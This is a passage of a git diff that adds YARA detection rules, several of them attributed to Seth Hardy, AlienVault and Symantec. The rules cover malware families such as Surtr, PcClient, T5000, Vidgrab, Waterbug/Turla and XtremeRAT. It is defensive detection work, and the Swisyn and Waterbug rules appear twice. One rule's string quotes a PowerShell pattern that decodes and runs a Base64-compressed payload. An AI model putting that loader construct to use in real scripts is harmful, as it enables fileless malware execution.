+        2 of ($b1, $b2, $b3, $b4) and 1 of ($b5, $b6, $b7, $b8)
+}
+
+private rule SurtrCode : Surtr Family {
+	meta: 
+		author = "Katie Kleemola"
+		description = "Code features for Surtr Stage1"
+		last_updated = "2014-07-16"
+	
+	strings:
+		//decrypt config
+		$ = { 8A ?? ?? 84 ?? ?? 74 ?? 3C 01 74 ?? 34 01 88 41 3B ?? 72 ?? }
+		//if Burn folder name is not in strings
+		$ = { C6 [3] 42 C6 [3] 75 C6 [3] 72 C6 [3] 6E C6 [3] 5C }
+		//mov char in _Fire
+		$ = { C6 [3] 5F C6 [3] 46 C6 [3] 69 C6 [3] 72 C6 [3] 65 C6 [3] 2E C6 [3] 64 }
+
+	condition:
+		any of them
+
+}
+
+private rule SurtrStrings : Surtr Family {	
+	meta: 
+		author = "Katie Kleemola"
+		description = "Strings for Surtr"
+		last_updated = "2014-07-16"
+
+	strings:
+		$ = "\x00soul\x00"
+		$ = "\x00InstallDll.dll\x00"
+		$ = "\x00_One.dll\x00"
+		$ = "_Fra.dll"
+		$ = "CrtRunTime.log"
+		$ = "Prod.t"
+		$ = "Proe.t"
+		$ = "Burn\\"
+		$ = "LiveUpdata_Mem\\"
+
+	condition:
+		any of them
+
+}
+rule apt_c16_win_wateringhole 
+{
+  meta:
+    author = "@dragonthreatlab "
+    description = "Detects code from APT wateringhole"
+  strings:
+    $str1 = "function runmumaa()"
+    $str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("
+    $str3 = "function MoSaklgEs7(k)"
+  condition:
+    any of ($str*)
+}
+rule apt_c16_win_swisyn 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "a6a18c846e5179259eba9de238f67e41"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+  strings:
+    $mz = {4D 5A}
+    $str1 = "/ShowWU" ascii
+    $str2 = "IsWow64Process"
+    $str3 = "regsvr32 "
+    $str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+rule apt_c16_win32_dropper 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ad17eff26994df824be36db246c8fb6a"
+    description = "APT malware used to drop PcClient RAT"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "clbcaiq.dll" ascii
+    $str2 = "profapi_104" ascii
+    $str3 = "/ShowWU" ascii
+    $str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii
+    $str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+rule apt_c16_win64_dropper 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ad17eff26994df824be36db246c8fb6a"
+    description = "APT malware used to drop PcClient RAT"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "clbcaiq.dll" ascii
+    $str2 = "profapi_104" ascii
+    $str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii
+    $str4 = {0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+rule apt_c16_win_disk_pcclient 
+{
+  meta:
+    author = "@dragonthreatlab "
+    md5 = "55f84d88d84c221437cd23cdbc541d2e"
+    description = "Encoded version of pcclient found on disk"
+  strings:
+    $header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06}
+  condition:
+    $header at 0
+}
+rule apt_c16_win_memory_pcclient 
+{
+  meta:
+    author = "@dragonthreatlab "
+    md5 = "ec532bbe9d0882d403473102e9724557"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+  strings:
+    $str1 = "Kill You" ascii
+    $str2 = "%4d-%02d-%02d %02d:%02d:%02d" ascii
+    $str3 = "%4.2f  KB" ascii
+    $encodefunc = {8A 08 32 CA 02 CA 88 08 40 4E 75 F4}  
+  condition:
+    all of them
+}
+
+private rule T5000Strings : T5000 Family
+{
+    meta:
+        description = "T5000 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    strings:
+        $ = "_tmpR.vbs"
+        $ = "_tmpg.vbs"
+        $ = "Dtl.dat" wide ascii
+        $ = "3C6FB3CA-69B1-454f-8B2F-BD157762810E"
+        $ = "EED5CA6C-9958-4611-B7A7-1238F2E1B17E"
+        $ = "8A8FF8AD-D1DE-4cef-B87C-82627677662E"
+        $ = "43EE34A9-9063-4d2c-AACD-F5C62B849089"
+        $ = "A8859547-C62D-4e8b-A82D-BE1479C684C9"
+        $ = "A59CF429-D0DD-4207-88A1-04090680F714"
+        $ = "utd_CE31" wide ascii
+        $ = "f:\\Project\\T5000\\Src\\Target\\1 KjetDll.pdb"
+        $ = "l:\\MyProject\\Vc 7.1\\T5000\\T5000Ver1.28\\Target\\4 CaptureDLL.pdb"
+        $ = "f:\\Project\\T5000\\Src\\Target\\4 CaptureDLL.pdb"
+        $ = "E:\\VS2010\\xPlat2\\Release\\InstRes32.pdb"
+        
+    condition:
+       any of them
+}
+
+rule urausy_skype_dat {
+	meta:
+		author = "AlienVault Labs"
+		description = "Yara rule to match against memory of processes infected by Urausy skype.dat"
+	strings:
+		$a = "skype.dat" ascii wide
+		$b = "skype.ini" ascii wide
+		$win1 = "CreateWindow"
+		$win2 = "YIWEFHIWQ" ascii wide
+		$desk1 = "CreateDesktop"
+		$desk2 = "MyDesktop" ascii wide
+	condition:
+		$a and $b and (all of ($win*) or all of ($desk*))
+}
+
+private rule VidgrabCode : Vidgrab Family 
+{
+    meta:
+        description = "Vidgrab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $divbyzero = { B8 02 00 00 00 48 48 BA 02 00 00 00 83 F2 02 F7 F0 }
+        // add eax, ecx; xor byte ptr [eax], ??h; inc ecx
+        $xorloop = { 03 C1 80 30 (66 | 58) 41 }
+        $junk = { 8B 4? ?? 8B 4? ?? 03 45 08 52 5A }
+        
+    condition:
+        all of them
+}
+
+private rule VidgrabStrings : Vidgrab Family
+{
+    meta:
+        description = "Vidgrab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "IDI_ICON5" wide ascii
+        $ = "starter.exe"
+        $ = "wmifw.exe"
+        $ = "Software\\rar"
+        $ = "tmp092.tmp"
+        $ = "temp1.exe"
+        
+    condition:
+       3 of them
+}
+
+
+private rule WarpCode : Warp Family 
+{
+    meta:
+        description = "Warp code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // character replacement
+        $ = { 80 38 2B 75 03 C6 00 2D 80 38 2F 75 03 C6 00 5F }
+    
+    condition:
+        any of them
+}
+
+private rule WarpStrings : Warp Family
+{
+    meta:
+        description = "Warp Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $ = "/2011/n325423.shtml?"
+        $ = "wyle"
+        $ = "\\~ISUN32.EXE"
+
+    condition:
+       any of them
+}
+
+import "pe"
+
+rule WaterBug_wipbot_2013_core_PDF 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+    
+    strings:
+        $PDF = "%PDF-"
+        $a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
+        $b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+    
+    condition:
+        ($PDF at 0) and #a > 150 and #b > 200
+}
+
+rule WaterBug_wipbot_2013_dll 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"           
+    strings:
+        $string1 = "/%s?rank=%s"
+        $string2 = "ModuleStart\x00ModuleStop\x00start"
+        $string3 = "1156fd22-3443-4344-c4ffff"
+        //read file... error..
+        $string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+    condition:
+        2 of them
+}
+
+rule WaterBug_wipbot_2013_core 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"                   
+    
+    strings:
+        $mz = "MZ"
+        $code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+        $code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+        $code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+    
+    condition:
+        $mz at 0 and (($code1 or $code2) or ($code3 and $code4))
+}
+
+rule WaterBug_turla_dropper 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan Turla Dropper"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+
+    strings:
+        $a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+        $b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+
+    condition:
+        all of them
+}
+
+rule WaterBug_turla_dll 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan Turla DLL"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"   
+
+    strings:
+        $a = /([A-Za-z0-9]{2,10}_){,2}Win32\.dll\x00/
+   
+    condition:
+        pe.exports("ee") and $a
+}
+ 
+rule WaterBug_fa_malware 
+{
+    meta:
+        description = "Symantec Waterbug Attack - FA malware variant"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+
+    strings:
+        $mz = "MZ"
+        $string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+        $string2 = "d:\\proj\\cn\\fa64\\"
+        $string3 = "sengoku_Win32.sys\x00"
+        $string4 = "rk_ntsystem.c"
+        $string5 = "\\uroboros\\"
+        $string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+
+    condition:
+        ($mz at 0) and (any of ($string*))
+}
+ 
+rule WaterBug_sav_dropper
+{
+    meta:
+        description = "Symantec Waterbug Attack - SAV Dropper"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+    
+    strings:
+        $mz = "MZ"
+        $a = /[a-z]{,10}_x64.sys\x00hMZ\x00/
+    
+    condition:
+        ($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a
+}
+ 
+rule WaterBug_sav 
+{
+    meta:
+        description = "Symantec Waterbug Attack - SAV Malware"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"    
+    
+    strings:
+        $mz = "MZ"
+        $code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+        $code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+        $code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
+        $code2 =  { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+    
+    condition:
+        ($mz at 0) and (($code1a or $code1b or $code1c) and $code2)
+}
+ 
+rule WaterBug_ComRat 
+{
+    meta:
+        description = "Symantec Waterbug Attack - ComRat Trojan"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"    
+
+    strings:
+        $mz = "MZ"
+        $b = { C6 45 ?? ?? }
+        $c = { C6 85 ?? FE FF FF ?? }
+        //$d = { FF A0 ?? 0? 00 00 }
+        $e = { 89 A8 ?? 00 00 00 68 ?? 00 00 00 56 FF D7 8B }
+        $f = { 00 00 48 89 ?? ?? 03 00 00 48 8B }
+    
+    condition:
+        ($mz at 0) and ((#c > 200 and #b > 200 ) or /*(#d > 40) and*/ (#e > 15 or #f > 30))
+}
+
+private rule XtremeRATCode : XtremeRAT Family 
+{
+    meta:
+        description = "XtremeRAT code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // call; fstp st
+        $ = { E8 ?? ?? ?? ?? DD D8 }
+        // hiding string
+        $ = { C6 85 ?? ?? ?? ?? 4D C6 85 ?? ?? ?? ?? 70 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 62 C6 85 ?? ?? ?? ?? 6D }
+    
+    condition:
+        all of them
+}
+
+private rule XtremeRATStrings : XtremeRAT Family
+{
+    meta:
+        description = "XtremeRAT Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "dqsaazere"
+        $ = "-GCCLIBCYGMING-EH-TDM1-SJLJ-GTHR-MINGW32"
+        
+    condition:
+       any of them
+}
+
+private rule WimmieShellcode : Wimmie Family 
+{
+    meta:
+        description = "Wimmie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        // decryption loop
+        $ = { 49 30 24 39 83 F9 00 77 F7 8D 3D 4D 10 40 00 B9 0C 03 00 00 }
+        $xordecrypt = {B9 B4 1D 00 00 [8] 49 30 24 39 83 F9 00 }
+        
+    condition:
+        any of them
+}
+
+private rule WimmieStrings : Wimmie Family
+{
+    meta:
+        description = "Strings used by Wimmie"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        $ = "\x00ScriptMan"
+        $ = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" wide ascii
+        $ = "ProbeScriptFint" wide ascii
+        $ = "ProbeScriptKids"
+        
+    condition:
+        any of them
+
+}
+rule YayihCode : Yayih Family 
+{
+    meta:
+        description = "Yayih code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+    
+    strings:
+        //  encryption
+        $ = { 80 04 08 7A 03 C1 8B 45 FC 80 34 08 19 03 C1 41 3B 0A 7C E9 }
+    
+    condition:
+        any of them
+}
+
+rule YayihStrings : Yayih Family
+{
+    meta:
+        description = "Yayih Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    strings:
+        $ = "/bbs/info.asp"
+        $ = "\\msinfo.exe"
+        $ = "%s\\%srcs.pdf"
+        $ = "\\aumLib.ini"
+
+    condition:
+       any of them
+}
+
diff --git a/yara-mikesxrs/Seth Hardy/Swisyn.yar b/yara-mikesxrs/Seth Hardy/Swisyn.yar
new file mode 100644
index 0000000..4e43ca1
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/Swisyn.yar	
@@ -0,0 +1,83 @@
+rule apt_c16_win_wateringhole 
+{
+  meta:
+    author = "@dragonthreatlab "
+    description = "Detects code from APT wateringhole"
+  strings:
+    $str1 = "function runmumaa()"
+    $str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("
+    $str3 = "function MoSaklgEs7(k)"
+  condition:
+    any of ($str*)
+}
+rule apt_c16_win_swisyn 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "a6a18c846e5179259eba9de238f67e41"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+  strings:
+    $mz = {4D 5A}
+    $str1 = "/ShowWU" ascii
+    $str2 = "IsWow64Process"
+    $str3 = "regsvr32 "
+    $str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+rule apt_c16_win32_dropper 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ad17eff26994df824be36db246c8fb6a"
+    description = "APT malware used to drop PcClient RAT"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "clbcaiq.dll" ascii
+    $str2 = "profapi_104" ascii
+    $str3 = "/ShowWU" ascii
+    $str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii
+    $str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+rule apt_c16_win64_dropper 
+{
+  meta:
+    author = "@dragonthreatlab"
+    md5 = "ad17eff26994df824be36db246c8fb6a"
+    description = "APT malware used to drop PcClient RAT"
+  strings:
+    $mz = {4D 5A}
+    $str1 = "clbcaiq.dll" ascii
+    $str2 = "profapi_104" ascii
+    $str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii
+    $str4 = {0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC}
+  condition:
+    $mz at 0 and all of ($str*)
+}
+rule apt_c16_win_disk_pcclient 
+{
+  meta:
+    author = "@dragonthreatlab "
+    md5 = "55f84d88d84c221437cd23cdbc541d2e"
+    description = "Encoded version of pcclient found on disk"
+  strings:
+    $header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06}
+  condition:
+    $header at 0
+}
+rule apt_c16_win_memory_pcclient 
+{
+  meta:
+    author = "@dragonthreatlab "
+    md5 = "ec532bbe9d0882d403473102e9724557"
+    description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+  strings:
+    $str1 = "Kill You" ascii
+    $str2 = "%4d-%02d-%02d %02d:%02d:%02d" ascii
+    $str3 = "%4.2f  KB" ascii
+    $encodefunc = {8A 08 32 CA 02 CA 88 08 40 4E 75 F4}  
+  condition:
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/Waterbug.yar b/yara-mikesxrs/Seth Hardy/Waterbug.yar
new file mode 100644
index 0000000..d4fcdac
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/Waterbug.yar	
@@ -0,0 +1,160 @@
+import "pe"
+
+rule WaterBug_wipbot_2013_core_PDF 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+    
+    strings:
+        $PDF = "%PDF-"
+        $a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
+        $b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+    
+    condition:
+        ($PDF at 0) and #a > 150 and #b > 200
+}
+
+rule WaterBug_wipbot_2013_dll 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"           
+    strings:
+        $string1 = "/%s?rank=%s"
+        $string2 = "ModuleStart\x00ModuleStop\x00start"
+        $string3 = "1156fd22-3443-4344-c4ffff"
+        //read file... error..
+        $string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+    condition:
+        2 of them
+}
+
+rule WaterBug_wipbot_2013_core 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"                   
+    
+    strings:
+        $mz = "MZ"
+        $code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+        $code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+        $code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+    
+    condition:
+        $mz at 0 and (($code1 or $code2) or ($code3 and $code4))
+}
+
+rule WaterBug_turla_dropper 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan Turla Dropper"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+
+    strings:
+        $a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+        $b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+
+    condition:
+        all of them
+}
+
+rule WaterBug_turla_dll 
+{
+    meta:
+        description = "Symantec Waterbug Attack - Trojan Turla DLL"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"   
+
+    strings:
+        $a = /([A-Za-z0-9]{2,10}_){,2}Win32\.dll\x00/
+   
+    condition:
+        pe.exports("ee") and $a
+}
+ 
+rule WaterBug_fa_malware 
+{
+    meta:
+        description = "Symantec Waterbug Attack - FA malware variant"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+
+    strings:
+        $mz = "MZ"
+        $string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+        $string2 = "d:\\proj\\cn\\fa64\\"
+        $string3 = "sengoku_Win32.sys\x00"
+        $string4 = "rk_ntsystem.c"
+        $string5 = "\\uroboros\\"
+        $string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+
+    condition:
+        ($mz at 0) and (any of ($string*))
+}
+ 
+rule WaterBug_sav_dropper
+{
+    meta:
+        description = "Symantec Waterbug Attack - SAV Dropper"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"
+    
+    strings:
+        $mz = "MZ"
+        $a = /[a-z]{,10}_x64.sys\x00hMZ\x00/
+    
+    condition:
+        ($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a
+}
+ 
+rule WaterBug_sav 
+{
+    meta:
+        description = "Symantec Waterbug Attack - SAV Malware"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"    
+    
+    strings:
+        $mz = "MZ"
+        $code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+        $code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+        $code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
+        $code2 =  { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+    
+    condition:
+        ($mz at 0) and (($code1a or $code1b or $code1c) and $code2)
+}
+ 
+rule WaterBug_ComRat 
+{
+    meta:
+        description = "Symantec Waterbug Attack - ComRat Trojan"
+        author = "Symantec Security Response"
+        date = "22.01.2015"
+        reference = "http://t.co/rF35OaAXrl"    
+
+    strings:
+        $mz = "MZ"
+        $b = { C6 45 ?? ?? }
+        $c = { C6 85 ?? FE FF FF ?? }
+        //$d = { FF A0 ?? 0? 00 00 }
+        $e = { 89 A8 ?? 00 00 00 68 ?? 00 00 00 56 FF D7 8B }
+        $f = { 00 00 48 89 ?? ?? 03 00 00 48 8B }
+    
+    condition:
+        ($mz at 0) and ((#c > 200 and #b > 200 ) or /*(#d > 40) and*/ (#e > 15 or #f > 30))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/apt1.yar b/yara-mikesxrs/Seth Hardy/apt1.yar
new file mode 100644
index 0000000..b03db35
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/apt1.yar	
@@ -0,0 +1,1182 @@
+rule LIGHTDART_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "ret.log" wide ascii
+                $s2 = "Microsoft Internet Explorer 6.0" wide ascii
+                $s3 = "szURL Fail" wide ascii
+                $s4 = "szURL Successfully" wide ascii
